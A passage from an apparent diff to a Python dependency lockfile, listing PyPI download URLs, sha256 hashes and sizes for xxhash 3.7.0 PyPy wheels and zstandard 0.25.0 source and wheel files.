"https://files.pythonhosted.org/packages/bd/b1/dfe2629f7c77eb2fa234c72ff537cdd64939763df704e256446ed364a16d/xxhash-3.7.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:48b542c347c2089f43dc5a6db31d2a6f3cdb04ee33505ec6e9f653834dbb0bde", size = 36307, upload-time = "2026-04-25T11:10:26.949Z" }, + { url = "https://files.pythonhosted.org/packages/e7/f7/5a484afce0f48dd8083208b42e4911f290a82c7b52458ef2927e4d421a45/xxhash-3.7.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a169a036bed0995e090d1493b283cc2cc8a6f5046821086b843abefff80643bc", size = 32534, upload-time = "2026-04-25T11:10:29.01Z" }, + { url = "https://files.pythonhosted.org/packages/0f/5f/4acfcd490db9780cf36c58534d828003c564cde5350220a1c783c4d10776/xxhash-3.7.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:ec101643395d7f21405b640f728f6f627e6986557027d740f2f9b220955edafe", size = 31552, upload-time = "2026-04-25T11:10:30.727Z" }, +] + +[[package]] +name = "zstandard" +version = "0.25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/56/7a/28efd1d371f1acd037ac64ed1c5e2b41514a6cc937dd6ab6a13ab9f0702f/zstandard-0.25.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e59fdc271772f6686e01e1b3b74537259800f57e24280be3f29c8a0deb1904dd", size = 795256, upload-time = "2025-09-14T22:15:56.415Z" }, + { url = "https://files.pythonhosted.org/packages/96/34/ef34ef77f1ee38fc8e4f9775217a613b452916e633c4f1d98f31db52c4a5/zstandard-0.25.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:4d441506e9b372386a5271c64125f72d5df6d2a8e8a2a45a0ae09b03cb781ef7", size = 640565, upload-time = "2025-09-14T22:15:58.177Z" }, + { url = "https://files.pythonhosted.org/packages/9d/1b/4fdb2c12eb58f31f28c4d28e8dc36611dd7205df8452e63f52fb6261d13e/zstandard-0.25.0-cp310-cp310-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:ab85470ab54c2cb96e176f40342d9ed41e58ca5733be6a893b730e7af9c40550", size = 5345306, upload-time = "2025-09-14T22:16:00.165Z" }, + { url = "https://files.pythonhosted.org/packages/73/28/a44bdece01bca027b079f0e00be3b6bd89a4df180071da59a3dd7381665b/zstandard-0.25.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e05ab82ea7753354bb054b92e2f288afb750e6b439ff6ca78af52939ebbc476d", size = 5055561, upload-time = "2025-09-14T22:16:02.22Z" }, + { url = "https://files.pythonhosted.org/packages/e9/74/68341185a4f32b274e0fc3410d5ad0750497e1acc20bd0f5b5f64ce17785/zstandard-0.25.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:78228d8a6a1c177a96b94f7e2e8d012c55f9c760761980da16ae7546a15a8e9b", size = 5402214, upload-time = "2025-09-14T22:16:04.109Z" }, + { url = "https://files.pythonhosted.org/packages/8b/67/f92e64e748fd6aaffe01e2b75a083c0c4fd27abe1c8747fee4555fcee7dd/zstandard-0.25.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:2b6bd67528ee8b5c5f10255735abc21aa106931f0dbaf297c7be0c886353c3d0", size = 5449703, upload-time = "2025-09-14T22:16:06.312Z" }, + { url = "https://files.pythonhosted.org/packages/fd/e5/6d36f92a197c3c17729a2125e29c169f460538a7d939a27eaaa6dcfcba8e/zstandard-0.25.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4b6d83057e713ff235a12e73916b6d356e3084fd3d14ced499d84240f3eecee0", size = 5556583, upload-time = "2025-09-14T22:16:08.457Z" }, + { url = "https://files.pythonhosted.org/packages/d7/83/41939e60d8d7ebfe2b747be022d0806953799140a702b90ffe214d557638/zstandard-0.25.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9174f4ed06f790a6869b41cba05b43eeb9a35f8993c4422ab853b705e8112bbd", size = 5045332, upload-time = "2025-09-14T22:16:10.444Z" }, + { url = "https://files.pythonhosted.org/packages/b3/87/d3ee185e3d1aa0133399893697ae91f221fda79deb61adbe998a7235c43f/zstandard-0.25.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:25f8f3cd45087d089aef5ba3848cd9efe3ad41163d3400862fb42f81a3a46701", size = 5572283, upload-time = "2025-09-14T22:16:12.128Z" }, + { url = "https://files.pythonhosted.org/packages/0a/1d/58635ae6104df96671076ac7d4ae7816838ce7debd94aecf83e30b7121b0/zstandard-0.25.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3756b3e9da9b83da1796f8809dd57cb024f838b9eeafde28f3cb472012797ac1", size = 4959754, upload-time = "2025-09-14T22:16:14.225Z" }, + { url = "https://files.pythonhosted.org/packages/75/d6/57e9cb0a9983e9a229dd8fd2e6e96593ef2aa82a3907188436f22b111ccd/zstandard-0.25.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:81dad8d145d8fd981b2962b686b2241d3a1ea07733e76a2f15435dfb7fb60150", size = 5266477, upload-time = "2025-09-14T22:16:16.343Z" }, + { url = "https://files.pythonhosted.org/packages/d1/a9/ee891e5edf33a6ebce0a028726f0bbd8567effe20fe3d5808c42323e8542/zstandard-0.25.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a5a419712cf88862a45a23def0ae063686db3d324cec7edbe40509d1a79a0aab", size = 5440914, upload-time = "2025-09-14T22:16:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/58/08/a8522c28c08031a9521f27abc6f78dbdee7312a7463dd2cfc658b813323b/zstandard-0.25.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e7360eae90809efd19b886e59a09dad07da4ca9ba096752e61a2e03c8aca188e", size = 5819847, upload-time = "2025-09-14T22:16:20.559Z" }, + { url = "https://files.pythonhosted.org/packages/6f/11/4c91411805c3f7b6f31c60e78ce347ca48f6f16d552fc659af6ec3b73202/zstandard-0.25.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:75ffc32a569fb049499e63ce68c743155477610532da1eb38e7f24bf7cd29e74", size = 5363131, upload-time = "2025-09-14T22:16:22.206Z" }, + { url = "https://files.pythonhosted.org/packages/ef/d6/8c4bd38a3b24c4c7676a7a3d8de85d6ee7a983602a734b9f9cdefb04a5d6/zstandard-0.25.0-cp310-cp310-win32.whl", hash = "sha256:106281ae350e494f4ac8a80470e66d1fe27e497052c8d9c3b95dc4cf1ade81aa", size = 436469, upload-time = "2025-09-14T22:16:25.002Z" }, + { url = "https://files.pythonhosted.org/packages/93/90/96d50ad417a8ace5f841b3228e93d1bb13e6ad356737f42e2dde30d8bd68/zstandard-0.25.0-cp310-cp310-win_amd64.whl", hash = "sha256:ea9d54cc3d8064260114a0bbf3479fc4a98b21dffc89b3459edd506b69262f6e", size = 506100, upload-time = "2025-09-14T22:16:23.569Z" }, + { url = "https://files.pythonhosted.org/packages/2a/83/c3ca27c363d104980f1c9cee1101cc8ba724ac8c28a033ede6aab89585b1/zstandard-0.25.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:933b65d7680ea337180733cf9e87293cc5500cc0eb3fc8769f4d3c88d724ec5c", size = 795254, upload-time = "2025-09-14T22:16:26.137Z" }, + { url = "https://files.pythonhosted.org/packages/ac/4d/e66465c5411a7cf4866aeadc7d108081d8ceba9bc7abe6b14aa21c671ec3/zstandard-0.25.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3f79487c687b1fc69f19e487cd949bf3aae653d181dfb5fde3bf6d18894706f", size = 640559, upload-time = "2025-09-14T22:16:27.973Z" }, + { url = "https://files.pythonhosted.org/packages/12/56/354fe655905f290d3b147b33fe946b0f27e791e4b50a5f004c802cb3eb7b/zstandard-0.25.0-cp311-cp311-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:0bbc9a0c65ce0eea3c34a691e3c4b6889f5f3909ba4822ab385fab9057099431", size = 5348020, upload-time = "2025-09-14T22:16:29.523Z" }, + { url = "https://files.pythonhosted.org/packages/3b/13/2b7ed68bd85e69a2069bcc72141d378f22cae5a0f3b353a2c8f50ef30c1b/zstandard-0.25.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:01582723b3ccd6939ab7b3a78622c573799d5d8737b534b86d0e06ac18dbde4a", size = 5058126, upload-time = "2025-09-14T22:16:31.811Z" }, + { url = "https://files.pythonhosted.org/packages/c9/dd/fdaf0674f4b10d92cb120ccff58bbb6626bf8368f00ebfd2a41ba4a0dc99/zstandard-0.25.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5f1ad7bf88535edcf30038f6919abe087f606f62c00a87d7e33e7fc57cb69fcc", size = 5405390, upload-time = "2025-09-14T22:16:33.486Z" }, + { url = "https://files.pythonhosted.org/packages/0f/67/354d1555575bc2490435f90d67ca4dd65238ff2f119f30f72d5cde09c2ad/zstandard-0.25.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:06acb75eebeedb77b69048031282737717a63e71e4ae3f77cc0c3b9508320df6", size = 5452914, upload-time = "2025-09-14T22:16:35.277Z" }, + { url = "https://files.pythonhosted.org/packages/bb/1f/e9cfd801a3f9190bf3e759c422bbfd2247db9d7f3d54a56ecde70137791a/zstandard-0.25.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9300d02ea7c6506f00e627e287e0492a5eb0371ec1670ae852fefffa6164b072", size = 5559635, upload-time = "2025-09-14T22:16:37.141Z" }, + { url = "https://files.pythonhosted.org/packages/21/88/5ba550f797ca953a52d708c8e4f380959e7e3280af029e38fbf47b55916e/zstandard-0.25.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bfd06b1c5584b657a2892a6014c2f4c20e0db0208c159148fa78c65f7e0b0277", size = 5048277, upload-time = "2025-09-14T22:16:38.807Z" }, + { url = "https://files.pythonhosted.org/packages/46/c0/ca3e533b4fa03112facbe7fbe7779cb1ebec215688e5df576fe5429172e0/zstandard-0.25.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313", size = 5574377, upload-time = "2025-09-14T22:16:40.523Z" }, + { url = "https://files.pythonhosted.org/packages/12/9b/3fb626390113f272abd0799fd677ea33d5fc3ec185e62e6be534493c4b60/zstandard-0.25.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6c0e5a65158a7946e7a7affa6418878ef97ab66636f13353b8502d7ea03c8097", size = 4961493, upload-time = "2025-09-14T22:16:43.3Z" }, + { url = "https://files.pythonhosted.org/packages/cb/d3/23094a6b6a4b1343b27ae68249daa17ae0651fcfec9ed4de09d14b940285/zstandard-0.25.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c8e167d5adf59476fa3e37bee730890e389410c354771a62e3c076c86f9f7778", size = 5269018, upload-time = "2025-09-14T22:16:45.292Z" }, + { url = "https://files.pythonhosted.org/packages/8c/a7/bb5a0c1c0f3f4b5e9d5b55198e39de91e04ba7c205cc46fcb0f95f0383c1/zstandard-0.25.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:98750a309eb2f020da61e727de7d7ba3c57c97cf6213f6f6277bb7fb42a8e065", size = 5443672, upload-time = "2025-09-14T22:16:47.076Z" }, + { url = "https://files.pythonhosted.org/packages/27/22/503347aa08d073993f25109c36c8d9f029c7d5949198050962cb568dfa5e/zstandard-0.25.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22a086cff1b6ceca18a8dd6096ec631e430e93a8e70a9ca5efa7561a00f826fa", size = 5822753, upload-time = "2025-09-14T22:16:49.316Z" }, + { url = "https://files.pythonhosted.org/packages/e2/be/94267dc6ee64f0f8ba2b2ae7c7a2df934a816baaa7291db9e1aa77394c3c/zstandard-0.25.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:72d35d7aa0bba323965da807a462b0966c91608ef3a48ba761678cb20ce5d8b7", size = 5366047, upload-time = "2025-09-14T22:16:51.328Z" }, + { url = "https://files.pythonhosted.org/packages/7b/a3/732893eab0a3a7aecff8b99052fecf9f605cf0fb5fb6d0290e36beee47a4/zstandard-0.25.0-cp311-cp311-win32.whl", hash = "sha256:f5aeea11ded7320a84dcdd62a3d95b5186834224a9e55b92ccae35d21a8b63d4", size = 436484, upload-time = "2025-09-14T22:16:55.005Z" }, + { url = "https://files.pythonhosted.org/packages/43/a3/c6155f5c1cce691cb80dfd38627046e50af3ee9ddc5d0b45b9b063bfb8c9/zstandard-0.25.0-cp311-cp311-win_amd64.whl", hash = "sha256:daab68faadb847063d0c56f361a289c4f268706b598afbf9ad113cbe5c38b6b2", size = 506183, upload-time = "2025-09-14T22:16:52.753Z" }, + { url = "https://files.pythonhosted.org/packages/8c/3e/8945ab86a0820cc0e0cdbf38086a92868a9172020fdab8a03ac19662b0e5/zstandard-0.25.0-cp311-cp311-win_arm64.whl", hash = "sha256:22a06c5df3751bb7dc67406f5374734ccee8ed37fc5981bf1ad7041831fa1137", size = 462533, upload-time = "2025-09-14T22:16:53.878Z" }, + { url = "https://files.pythonhosted.org/packages/82/fc/f26eb6ef91ae723a03e16eddb198abcfce2bc5a42e224d44cc8b6765e57e/zstandard-0.25.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7b3c3a3ab9daa3eed242d6ecceead93aebbb8f5f84318d82cee643e019c4b73b", size = 795738, upload-time = "2025-09-14T22:16:56.237Z" }, + { url = "https://files.pythonhosted.org/packages/aa/1c/d920d64b22f8dd028a8b90e2d756e431a5d86194caa78e3819c7bf53b4b3/zstandard-0.25.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:913cbd31a400febff93b564a23e17c3ed2d56c064006f54efec210d586171c00", size = 640436, upload-time = "2025-09-14T22:16:57.774Z" }, + { url = "https://files.pythonhosted.org/packages/53/6c/288c3f0bd9fcfe9ca41e2c2fbfd17b2097f6af57b62a81161941f09afa76/zstandard-0.25.0-cp312-cp312-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:011d388c76b11a0c165374ce660ce2c8efa8e5d87f34996aa80f9c0816698b64", size = 5343019, upload-time = "2025-09-14T22:16:59.302Z" }, + { url = "https://files.pythonhosted.org/packages/1e/15/efef5a2f204a64bdb5571e6161d49f7ef0fffdbca953a615efbec045f60f/zstandard-0.25.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dffecc361d079bb48d7caef5d673c88c8988d3d33fb74ab95b7ee6da42652ea", size = 5063012, upload-time = "2025-09-14T22:17:01.156Z" }, + { url = "https://files.pythonhosted.org/packages/b7/37/a6ce629ffdb43959e92e87ebdaeebb5ac81c944b6a75c9c47e300f85abdf/zstandard-0.25.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7149623bba7fdf7e7f24312953bcf73cae103db8cae49f8154dd1eadc8a29ecb", size = 5394148, upload-time = "2025-09-14T22:17:03.091Z" }, + { url = "https://files.pythonhosted.org/packages/e3/79/2bf870b3abeb5c070fe2d670a5a8d1057a8270f125ef7676d29ea900f496/zstandard-0.25.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6a573a35693e03cf1d67799fd01b50ff578515a8aeadd4595d2a7fa9f3ec002a", size = 5451652, upload-time = "2025-09-14T22:17:04.979Z" }, + { url = "https://files.pythonhosted.org/packages/53/60/7be26e610767316c028a2cbedb9a3beabdbe33e2182c373f71a1c0b88f36/zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5a56ba0db2d244117ed744dfa8f6f5b366e14148e00de44723413b2f3938a902", size = 5546993, upload-time = "2025-09-14T22:17:06.781Z" }, + { url = "https://files.pythonhosted.org/packages/85/c7/3483ad9ff0662623f3648479b0380d2de5510abf00990468c286c6b04017/zstandard-0.25.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:10ef2a79ab8e2974e2075fb984e5b9806c64134810fac21576f0668e7ea19f8f", size = 5046806, upload-time = "2025-09-14T22:17:08.415Z" }, + { url = "https://files.pythonhosted.org/packages/08/b3/206883dd25b8d1591a1caa44b54c2aad84badccf2f1de9e2d60a446f9a25/zstandard-0.25.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b", size = 5576659, upload-time = "2025-09-14T22:17:10.164Z" }, + { url = "https://files.pythonhosted.org/packages/9d/31/76c0779101453e6c117b0ff22565865c54f48f8bd807df2b00c2c404b8e0/zstandard-0.25.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1869da9571d5e94a85a5e8d57e4e8807b175c9e4a6294e3b66fa4efb074d90f6", size = 4953933, upload-time = "2025-09-14T22:17:11.857Z" }, + { url = "https://files.pythonhosted.org/packages/18/e1/97680c664a1bf9a247a280a053d98e251424af51f1b196c6d52f117c9720/zstandard-0.25.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:809c5bcb2c67cd0ed81e9229d227d4ca28f82d0f778fc5fea624a9def3963f91", size = 5268008, upload-time = "2025-09-14T22:17:13.627Z" }, + { url = "https://files.pythonhosted.org/packages/1e/73/316e4010de585ac798e154e88fd81bb16afc5c5cb1a72eeb16dd37e8024a/zstandard-0.25.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708", size = 5433517, upload-time = "2025-09-14T22:17:16.103Z" }, + { url = "https://files.pythonhosted.org/packages/5b/60/dd0f8cfa8129c5a0ce3ea6b7f70be5b33d2618013a161e1ff26c2b39787c/zstandard-0.25.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:99c0c846e6e61718715a3c9437ccc625de26593fea60189567f0118dc9db7512", size = 5814292, upload-time = "2025-09-14T22:17:17.827Z" }, + { url = "https://files.pythonhosted.org/packages/fc/5f/75aafd4b9d11b5407b641b8e41a57864097663699f23e9ad4dbb91dc6bfe/zstandard-0.25.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:474d2596a2dbc241a556e965fb76002c1ce655445e4e3bf38e5477d413165ffa", size = 5360237, upload-time = "2025-09-14T22:17:19.954Z" }, + { url = "https://files.pythonhosted.org/packages/ff/8d/0309daffea4fcac7981021dbf21cdb2e3427a9e76bafbcdbdf5392ff99a4/zstandard-0.25.0-cp312-cp312-win32.whl", hash = "sha256:23ebc8f17a03133b4426bcc04aabd68f8236eb78c3760f12783385171b0fd8bd", size = 436922, upload-time = "2025-09-14T22:17:24.398Z" }, + { url = "https://files.pythonhosted.org/packages/79/3b/fa54d9015f945330510cb5d0b0501e8253c127cca7ebe8ba46a965df18c5/zstandard-0.25.0-cp312-cp312-win_amd64.whl", hash = "sha256:ffef5a74088f1e09947aecf91011136665152e0b4b359c42be3373897fb39b01", size = 506276, upload-time = "2025-09-14T22:17:21.429Z" }, + { url = "https://files.pythonhosted.org/packages/ea/6b/8b51697e5319b1f9ac71087b0af9a40d8a6288ff8025c36486e0c12abcc4/zstandard-0.25.0-cp312-cp312-win_arm64.whl", hash = "sha256:181eb40e0b6a29b3cd2849f825e0fa34397f649170673d385f3598ae17cca2e9", size = 462679, upload-time = "2025-09-14T22:17:23.147Z" }, + { url = "https://files.pythonhosted.org/packages/35/0b/8df9c4ad06af91d39e94fa96cc010a24ac4ef1378d3efab9223cc8593d40/zstandard-0.25.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94", size = 795735, upload-time = "2025-09-14T22:17:26.042Z" }, + { url = "https://files.pythonhosted.org/packages/3f/06/9ae96a3e5dcfd119377ba33d4c42a7d89da1efabd5cb3e366b156c45ff4d/zstandard-0.25.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1", size = 640440, upload-time = "2025-09-14T22:17:27.366Z" }, + { url = "https://files.pythonhosted.org/packages/d9/14/933d27204c2bd404229c69f445862454dcc101cd69ef8c6068f15aaec12c/zstandard-0.25.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f", size = 5343070, upload-time = "2025-09-14T22:17:28.896Z" }, + { url = "https://files.pythonhosted.org/packages/6d/db/ddb11011826ed7db9d0e485d13df79b58586bfdec56e5c84a928a9a78c1c/zstandard-0.25.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea", size = 5063001, upload-time = "2025-09-14T22:17:31.044Z" }, + { url = "https://files.pythonhosted.org/packages/db/00/87466ea3f99599d02a5238498b87bf84a6348290c19571051839ca943777/zstandard-0.25.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e", size = 5394120, upload-time = "2025-09-14T22:17:32.711Z" }, + { url = "https://files.pythonhosted.org/packages/2b/95/fc5531d9c618a679a20ff6c29e2b3ef1d1f4ad66c5e161ae6ff847d102a9/zstandard-0.25.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551", size = 5451230, upload-time = "2025-09-14T22:17:34.41Z" }, + { url = "https://files.pythonhosted.org/packages/63/4b/e3678b4e776db00f9f7b2fe58e547e8928ef32727d7a1ff01dea010f3f13/zstandard-0.25.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a", size = 5547173, upload-time = "2025-09-14T22:17:36.084Z" }, + { url = "https://files.pythonhosted.org/packages/4e/d5/ba05ed95c6b8ec30bd468dfeab20589f2cf709b5c940483e31d991f2ca58/zstandard-0.25.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611", size = 5046736, upload-time = "2025-09-14T22:17:37.891Z" }, + { url = "https://files.pythonhosted.org/packages/50/d5/870aa06b3a76c73eced65c044b92286a3c4e00554005ff51962deef28e28/zstandard-0.25.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3", size = 5576368, upload-time = "2025-09-14T22:17:40.206Z" }, + { url = "https://files.pythonhosted.org/packages/5d/35/398dc2ffc89d304d59bc12f0fdd931b4ce455bddf7038a0a67733a25f550/zstandard-0.25.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b", size = 4954022, upload-time = "2025-09-14T22:17:41.879Z" }, + { url = "https://files.pythonhosted.org/packages/9a/5c/36ba1e5507d56d2213202ec2b05e8541734af5f2ce378c5d1ceaf4d88dc4/zstandard-0.25.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1673b7199bbe763365b81a4f3252b8e80f44c9e323fc42940dc8843bfeaf9851", size = 5267889, upload-time = "2025-09-14T22:17:43.577Z" }, + { url = "https://files.pythonhosted.org/packages/70/e8/2ec6b6fb7358b2ec0113ae202647ca7c0e9d15b61c005ae5225ad0995df5/zstandard-0.25.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250", size = 5433952, upload-time = "2025-09-14T22:17:45.271Z" }, + { url = "https://files.pythonhosted.org/packages/7b/01/b5f4d4dbc59ef193e870495c6f1275f5b2928e01ff5a81fecb22a06e22fb/zstandard-0.25.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98", size = 5814054, upload-time = "2025-09-14T22:17:47.08Z" }, + { url = "https://files.pythonhosted.org/packages/b2/e5/fbd822d5c6f427cf158316d012c5a12f233473c2f9c5fe5ab1ae5d21f3d8/zstandard-0.25.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf", size = 5360113, upload-time = "2025-09-14T22:17:48.893Z" }, + { url = "https://files.pythonhosted.org/packages/8e/e0/69a553d2047f9a2c7347caa225bb3a63b6d7704ad74610cb7823baa08ed7/zstandard-0.25.0-cp313-cp313-win32.whl", hash = "sha256:7030defa83eef3e51ff26f0b7bfb229f0204b66fe18e04359ce3474ac33cbc09", size = 436936, upload-time = "2025-09-14T22:17:52.658Z" }, + { url = "https://files.pythonhosted.org/packages/d9/82/b9c06c870f3bd8767c201f1edbdf9e8dc34be5b0fbc5682c4f80fe948475/zstandard-0.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:1f830a0dac88719af0ae43b8b2d6aef487d437036468ef3c2ea59c51f9d55fd5", size = 506232, upload-time = "2025-09-14T22:17:50.402Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/60c3c01243bb81d381c9916e2a6d9e149ab8627c0c7d7abb2d73384b3c0c/zstandard-0.25.0-cp313-cp313-win_arm64.whl", hash = "sha256:85304a43f4d513f5464ceb938aa02c1e78c2943b29f44a750b48b25ac999a049", size = 462671, upload-time = "2025-09-14T22:17:51.533Z" }, + { url = "https://files.pythonhosted.org/packages/3d/5c/f8923b595b55fe49e30612987ad8bf053aef555c14f05bb659dd5dbe3e8a/zstandard-0.25.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3", size = 795887, upload-time = "2025-09-14T22:17:54.198Z" }, + { url = "https://files.pythonhosted.org/packages/8d/09/d0a2a14fc3439c5f874042dca72a79c70a532090b7ba0003be73fee37ae2/zstandard-0.25.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:05df5136bc5a011f33cd25bc9f506e7426c0c9b3f9954f056831ce68f3b6689f", size = 640658, upload-time = "2025-09-14T22:17:55.423Z" }, + { url = "https://files.pythonhosted.org/packages/5d/7c/8b6b71b1ddd517f68ffb55e10834388d4f793c49c6b83effaaa05785b0b4/zstandard-0.25.0-cp314-cp314-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c", size = 5379849, upload-time = "2025-09-14T22:17:57.372Z" }, + { url = "https://files.pythonhosted.org/packages/a4/86/a48e56320d0a17189ab7a42645387334fba2200e904ee47fc5a26c1fd8ca/zstandard-0.25.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:223415140608d0f0da010499eaa8ccdb9af210a543fac54bce15babbcfc78439", size = 5058095, upload-time = "2025-09-14T22:17:59.498Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ad/eb659984ee2c0a779f9d06dbfe45e2dc39d99ff40a319895df2d3d9a48e5/zstandard-0.25.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2e54296a283f3ab5a26fc9b8b5d4978ea0532f37b231644f367aa588930aa043", size = 5551751, upload-time = "2025-09-14T22:18:01.618Z" }, + { url = "https://files.pythonhosted.org/packages/61/b3/b637faea43677eb7bd42ab204dfb7053bd5c4582bfe6b1baefa80ac0c47b/zstandard-0.25.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859", size = 6364818, upload-time = "2025-09-14T22:18:03.769Z" }, + { url = "https://files.pythonhosted.org/packages/31/dc/cc50210e11e465c975462439a492516a73300ab8caa8f5e0902544fd748b/zstandard-0.25.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0", size = 5560402, upload-time = "2025-09-14T22:18:05.954Z" }, + { url = "https://files.pythonhosted.org/packages/c9/ae/56523ae9c142f0c08efd5e868a6da613ae76614eca1305259c3bf6a0ed43/zstandard-0.25.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = 